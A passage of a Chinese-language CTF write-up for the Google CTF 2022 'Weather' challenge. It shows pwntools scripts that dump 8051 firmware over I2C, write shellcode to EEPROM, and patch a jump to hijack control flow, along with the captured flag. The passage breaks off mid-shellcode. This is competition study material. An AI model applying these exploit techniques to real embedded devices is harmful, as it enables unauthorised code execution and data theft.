<span class="mi">1</span> <span class="mi">117</span> <span class="mi">160</span> <span class="mi">2</span> <span class="mi">228</span> <span class="mi">147</span> <span class="mi">242</span> <span class="mi">163</span> <span class="mi">8</span> <span class="mi">184</span> <span class="mi">0</span> <span class="mi">2</span> <span class="mi">5</span> <span class="mi">160</span> <span class="mi">217</span> <span class="mi">244</span>
<span class="mi">218</span> <span class="mi">242</span> <span class="mi">117</span> <span class="mi">160</span> <span class="mi">255</span> <span class="mi">228</span> <span class="mi">120</span> <span class="mi">255</span> <span class="mi">246</span> <span class="mi">216</span> <span class="mi">253</span> <span class="mi">120</span> <span class="mi">0</span> <span class="mi">232</span> <span class="mi">68</span> <span class="mi">0</span>
</code></pre></div></div>
<p>即EEPROM也确实挂接到8051的I2C控制器上了,因此我们可以尝试读写EEPROM!</p>
<h3 id="读eeprom">读EEPROM</h3>
<p>不过通过r命令最多一次只能读64字节,根据硬件手册这应该是EEPROM的一页,目标EEPROM总共64页,所以需要切换页,通过尝试发现,切换页的方式为通过w命令:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">w</span> <span class="mi">101153</span> <span class="mi">1</span> <span class="n">page</span>
</code></pre></div></div>
<p>例如首先读第0页的前四字节:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">nc</span> <span class="n">weather</span><span class="p">.</span><span class="mi">2022</span><span class="p">.</span><span class="n">ctfcompetition</span><span class="p">.</span><span class="n">com</span> <span class="mi">1337</span>
<span class="o">?</span> <span class="n">w</span> <span class="mi">101153</span> <span class="mi">1</span> <span class="mi">0</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="o">?</span> <span class="n">r</span> <span class="mi">101153</span> <span class="mi">4</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="mi">2</span> <span class="mi">0</span> <span class="mi">6</span> <span class="mi">2</span>
<span class="o">-</span><span class="n">end</span>
</code></pre></div></div>
<p>然后切换为第1页,读前四字节,可读到与之前不同的结果:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">?</span> <span class="n">w</span> <span class="mi">101153</span> <span class="mi">1</span> <span class="mi">1</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="o">?</span> <span class="n">r</span> <span class="mi">101153</span> <span class="mi">4</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="mi">96</span> <span class="mi">10</span> <span class="mi">121</span> <span class="mi">1</span>
</code></pre></div></div>
<p>利用此方法,并将读取到的数值转换为对应字节,即可dump远程的固件:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">def</span> <span class="nf">dump</span><span class="p">():</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'firmware.bin'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">)</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"weather.2022.ctfcompetition.com"</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">64</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] page: %s"</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'?'</span><span class="p">,(</span><span class="s">"w 101153 1 %s"</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'?'</span><span class="p">,</span><span class="sa">b</span><span class="s">"r 101153 64"</span><span class="p">)</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">)[</span><span class="mi">43</span><span class="p">:</span><span class="o">-</span><span class="mi">8</span><span class="p">]</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="sa">b</span><span class="s">" "</span><span class="p">)</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">==</span><span class="mi">64</span><span class="p">)</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">j</span><span class="p">,</span><span class="mi">10</span><span class="p">).</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">'little'</span><span class="p">))</span>
<span class="n">dump</span><span class="p">()</span>
</code></pre></div></div>
<p>然后使用IDA解析固件,由于没有ihx中的地址信息,需要手动指定指令集为8051,加载地址为0地址,最终得到的结果与IDA解析本地编译的ihx基本一致。</p>
<h3 id="写eeprom">写EEPROM</h3>
<p>他这个EEPROM的写就非常的麻烦了,因为他这个模拟的非常真实,把真实EEPROM的物理特性也如实模拟了。即对其写入只能按bit将1写为0,已经被写成0bit的就回不去了。在现实中需要对EEPROM的引脚进行一系列电平操作,即可使其全部bit归1。不过整个固件从0xa02-0xfff地址处全为0xff,因此这段空间可以写入任意数据,也是写入shellcode的最佳位置:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/google/010.png" alt="image" /></p>
<p>其写入的命令也有些麻烦,首先在数据之前需要加上4ByteWriteKey A5 5A A5 5A,十进制为165 90 165 90。另外根据手册,写入的bit为<code class="language-plaintext highlighter-rouge">ClearMask</code>,是清0。例如想写入0,则需要把原来的0xff的8个bit全部清零,即11111111,所以写入的数据是目标数据取反,也可以看成255减目标数据。而且经过尝试,在命令行中需要填入十进制,例如255,不能填写如11111111的二进制字符串(ClearMask的误导),最终命令如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">w</span> <span class="mi">101153</span> <span class="n">size</span> <span class="n">page</span> <span class="mi">165</span> <span class="mi">90</span> <span class="mi">165</span> <span class="mi">90</span> <span class="p">(</span><span class="mi">255</span><span class="o">-</span><span class="n">byte</span><span class="p">)</span> <span class="p">(</span><span class="mi">255</span><span class="o">-</span><span class="n">byte</span><span class="p">)</span> <span class="p">(</span><span class="mi">255</span><span class="o">-</span><span class="n">byte</span><span class="p">)</span> <span class="p">...</span>
</code></pre></div></div>
<p>例如将0xb00(0xb00 // 64 = 44)地址的0xff 0xff 0xff 0xff 写为 11 22 33 44 :</p>
<blockquote>
<p>size可以一直写大一点,例如100:</p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">nc</span> <span class="n">weather</span><span class="p">.</span><span class="mi">2022</span><span class="p">.</span><span class="n">ctfcompetition</span><span class="p">.</span><span class="n">com</span> <span class="mi">1337</span>
<span class="o">==</span> <span class="n">proof</span><span class="o">-</span><span class="n">of</span><span class="o">-</span><span class="n">work</span><span class="o">:</span> <span class="n">disabled</span> <span class="o">==</span>
<span class="n">Weather</span> <span class="n">Station</span>
<span class="o">?</span> <span class="n">w</span> <span class="mi">101153</span> <span class="mi">1</span> <span class="mi">44</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="o">?</span> <span class="n">r</span> <span class="mi">101153</span> <span class="mi">4</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="mi">255</span> <span class="mi">255</span> <span class="mi">255</span> <span class="mi">255</span>
<span class="o">?</span> <span class="n">w</span> <span class="mi">101153</span> <span class="mi">100</span> <span class="mi">44</span> <span class="mi">165</span> <span class="mi">90</span> <span class="mi">165</span> <span class="mi">90</span> <span class="mi">244</span> <span class="mi">233</span> <span class="mi">222</span> <span class="mi">211</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="o">?</span> <span class="n">r</span> <span class="mi">101153</span> <span class="mi">4</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="mi">11</span> <span class="mi">22</span> <span class="mi">33</span> <span class="mi">44</span>
</code></pre></div></div>
<h3 id="控制流劫持">控制流劫持</h3>
<p>由于shellcode未来将会放在0xa02-0xfff之间,所以我们需要在可运行到代码中patch出一句跳转进行控制流劫持,通过逆向可以发现主要有两种绝对地址的跳转:</p>
<ul>
<li>02 xx xx: ljmp</li>
<li>12 xx xx: lcall</li>
</ul>
<p>结合shellcode的地址,最终的跳转应为:</p>
<ul>
<li>02 0[a-f] xx: ljmp</li>
<li>12 0[a-f] xx: lcall</li>
</ul>
<p>并且根据写入只能讲1bit写成0bit的约束,找了好久,最终决定在打印命令行提示符问号的这里进行patch,23可以patch成02,7E可以patch成0E,即可完成长跳转到0xe00:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/google/patch1.png" alt="image" /></p>
<p>8051的nop为0x00,所以可以将开头的12 01清成两个nop:</p>
<blockquote>
<p>12 01 23 7E -> 00 00 02 0E</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/google/patch2.png" alt="image" /></p>
<p>因此首先在0xe00处写好shellcode,然后patch这句进行控制流劫持即可</p>
<h3 id="shellcode">shellcode</h3>
<p>shellcode基本就是设置FLAGROM_ADDR然后读取FLAGROM_DATA,并输出到SERIAL_OUT_DATA,可以使用C进行编译然后扣出shellcode:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xee</span><span class="p">)</span> <span class="n">FLAGROM_ADDR</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xef</span><span class="p">)</span> <span class="n">FLAGROM_DATA</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xf2</span><span class="p">)</span> <span class="n">SERIAL_OUT_DATA</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="mi">255</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="n">FLAGROM_ADDR</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="n">SERIAL_OUT_DATA</span> <span class="o">=</span> <span class="n">FLAGROM_DATA</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ ../sdcc/bin/sdcc ./test.c
</code></pre></div></div>
<p>因为操作很简单,也可以直接写汇编:</p>
<ul>
<li><a href="https://gist.github.com/Konamiman/af5645b9998c802753023cf1be8a2970">SDCC - Interfacing with Z80 assembler code</a></li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xee</span><span class="p">)</span> <span class="n">FLAGROM_ADDR</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xef</span><span class="p">)</span> <span class="n">FLAGROM_DATA</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xf2</span><span class="p">)</span> <span class="n">SERIAL_OUT_DATA</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="kr">__asm</span>
<span class="n">mov</span> <span class="n">A</span><span class="p">,</span> <span class="err">#</span><span class="mi">0</span>
<span class="n">mov</span> <span class="n">_FLAGROM_ADDR</span><span class="p">,</span> <span class="n">A</span>
<span class="n">mov</span> <span class="n">A</span><span class="p">,</span> <span class="n">_FLAGROM_DATA</span>
<span class="n">mov</span> <span class="n">_SERIAL_OUT_DATA</span><span class="p">,</span> <span class="n">A</span>
<span class="n">__endasm</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ ../sdcc/bin/sdcc ./test.c
</code></pre></div></div>
<p>所以也可以直接对着汇编写机器码:</p>
<ul>
<li><a href="http://vlabs.iitb.ac.in/vlabs-dev/labs/8051-Microcontroller-Lab/src/pdfs-docs/8051IS.pdf">THE 8051 INSTRUCTION SET</a></li>
</ul>
<p>为了shellcode简单,开始没用循环,直接使用立即数给FLAGROM_ADDR赋值,这样使得一页64个字节能容纳的shellcode只能进行8次打印,因此在整个交互外面加了个循环,交互五次可以完成打印出flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="s">'''
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
'''</span>
<span class="n">flag</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"weather.2022.ctfcompetition.com"</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">k</span><span class="o">*</span><span class="mi">8</span><span class="p">,(</span><span class="n">k</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span><span class="p">,</span><span class="mi">1</span><span class="p">):</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0x74</span><span class="p">,</span> <span class="n">j</span><span class="p">]</span> <span class="c1"># mov A, j
</span> <span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">]</span> <span class="c1"># mov FLAGROM_ADDR, A
</span> <span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">]</span> <span class="c1"># mov A,FLAGROM_DATA
</span> <span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">]</span> <span class="c1"># mov CML6, A
</span>
<span class="n">s</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">shellcode</span><span class="p">:</span>
<span class="n">s</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="mi">255</span> <span class="o">-</span> <span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="s">' '</span>
<span class="k">print</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="c1"># write shellcode to 0x0e00 (0x0e00 // 64 = 56)
</span> <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">,</span><span class="sa">b</span><span class="s">'w 101153 100 56 165 90 165 90 '</span> <span class="o">+</span> <span class="n">s</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
<span class="c1"># patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51):
</span> <span class="c1"># 12 01 23 7e -> 00 00 02 0e
</span> <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">,</span><span class="sa">b</span><span class="s">'w 101153 100 19 165 90 165 90 '</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'0 '</span><span class="o">*</span> <span class="mi">51</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'255 255 253 241'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">flag</span> <span class="o">+=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'Station'</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)[:</span><span class="mi">8</span><span class="p">]</span>
<span class="n">io</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="c1"># CTF{DoesAnyoneEvenReadFlagsAnymore?}
</span></code></pre></div></div>
<h3 id="完整exp">完整exp</h3>
<p>完整exp如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="s">'''
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0
'''</span>
<span class="k">def</span> <span class="nf">scan</span><span class="p">():</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"weather.2022.ctfcompetition.com"</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">):</span>
<span class="n">test</span> <span class="o">=</span> <span class="mi">101120</span> <span class="o">+</span> <span class="n">i</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">((</span><span class="s">"r %s 4"</span> <span class="o">%</span> <span class="n">test</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">)</span>
<span class="k">if</span> <span class="sa">b</span><span class="s">'device not found'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] %s: %s "</span> <span class="o">%</span> <span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">test</span><span class="p">),</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)))</span>
<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="c1">#scan()
</span>
<span class="s">'''
➜ python3 exp.py
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
[+] 101153: 33
b' i2c status: transaction completed / ready</span><span class="se">\n</span><span class="s">2 0 6 2 </span><span class="se">\n</span><span class="s">-end</span><span class="se">\n</span><span class="s">?'
[+] 101221: 101
b' i2c status: transaction completed / ready</span><span class="se">\n</span><span class="s">22 22 21 35 </span><span class="se">\n</span><span class="s">-end</span><span class="se">\n</span><span class="s">?'
[+] 101228: 108
b' i2c status: transaction completed / ready</span><span class="se">\n</span><span class="s">3 249 0 0 </span><span class="se">\n</span><span class="s">-end</span><span class="se">\n</span><span class="s">?'
[+] 101230: 110
b' i2c status: transaction completed / ready</span><span class="se">\n</span><span class="s">78 0 0 0 </span><span class="se">\n</span><span class="s">-end</span><span class="se">\n</span><span class="s">?'
[+] 101231: 111
b' i2c status: transaction completed / ready</span><span class="se">\n</span><span class="s">81 0 0 0 </span><span class="se">\n</span><span class="s">-end</span><span class="se">\n</span><span class="s">?'
[+] 101239: 119
b' i2c status: transaction completed / ready</span><span class="se">\n</span><span class="s">37 0 0 0 </span><span class="se">\n</span><span class="s">-end</span><span class="se">\n</span><span class="s">?'
'''</span>
<span class="k">def</span> <span class="nf">dump</span><span class="p">():</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'firmware.bin'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">)</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"weather.2022.ctfcompetition.com"</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">64</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] page: %s"</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">((</span><span class="s">"w 101153 1 %s"</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'?'</span><span class="p">,</span><span class="sa">b</span><span class="s">"r 101153 64"</span><span class="p">)</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">)[</span><span class="mi">43</span><span class="p">:</span><span class="o">-</span><span class="mi">8</span><span class="p">]</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="sa">b</span><span class="s">" "</span><span class="p">)</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">==</span><span class="mi">64</span><span class="p">)</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">j</span><span class="p">,</span><span class="mi">10</span><span class="p">).</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">'little'</span><span class="p">))</span>
<span class="c1">#dump()
</span>
<span class="s">'''
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
'''</span>
<span class="n">flag</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"weather.2022.ctfcompetition.com"</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">k</span><span class="o">*</span><span class="mi">8</span><span class="p">,(</span><span class="n">k</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span><span class="p">,</span><span class="mi">1</span><span class="p">):</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0x74</span><span class="p">,</span> <span class="n">j</span><span class="p">]</span> <span class="c1"># mov A, j
</span> <span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">]</span> <span class="c1"># mov FLAGROM_ADDR, A
</span> <span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">]</span> <span class="c1"># mov A,FLAGROM_DATA
</span> <span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">]</span> <span class="c1"># mov CML6, A
</span>
<span class="n">s</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">shellcode</span><span class="p">:</span>
<span class="n">s</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="mi">255</span> <span class="o">-</span> <span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="s">' '</span>
<span class="k">print</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="c1"># write shellcode to 0x0e00 (0x0e00 // 64 = 56)
</span> <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">,</span><span class="sa">b</span><span class="s">'w 101153 100 56 165 90 165 90 '</span> <span class="o">+</span> <span class="n">s</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
<span class="c1"># patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51):
</span> <span class="c1"># 12 01 23 7e -> 00 00 02 0e
</span> <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">,</span><span class="sa">b</span><span class="s">'w 101153 100 19 165 90 165 90 '</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'0 '</span><span class="o">*</span> <span class="mi">51</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'255 255 253 241'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">flag</span> <span class="o">+=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'Station'</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)[:</span><span class="mi">8</span><span class="p">]</span>
<span class="n">io</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="c1"># CTF{DoesAnyoneEvenReadFlagsAnymore?}
</span></code></pre></div></div>
<h3 id="优化">优化</h3>
<p>在shellcode使用循环,即可一次打印出完整flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"weather.2022.ctfcompetition.com"</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">]</span> <span class="c1"># MOV R7, 0
</span><span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">]</span> <span class="c1"># MOV A, R7
</span><span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">]</span> <span class="c1"># MOV FLAGROM_ADDR (0xEE), A
</span><span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">]</span> <span class="c1"># MOV A, FLAGROM_DATA (0xEF)
</span><span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">]</span> <span class="c1"># MOV CML6, A
</span><span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0x0f</span><span class="p">]</span> <span class="c1"># INC R7
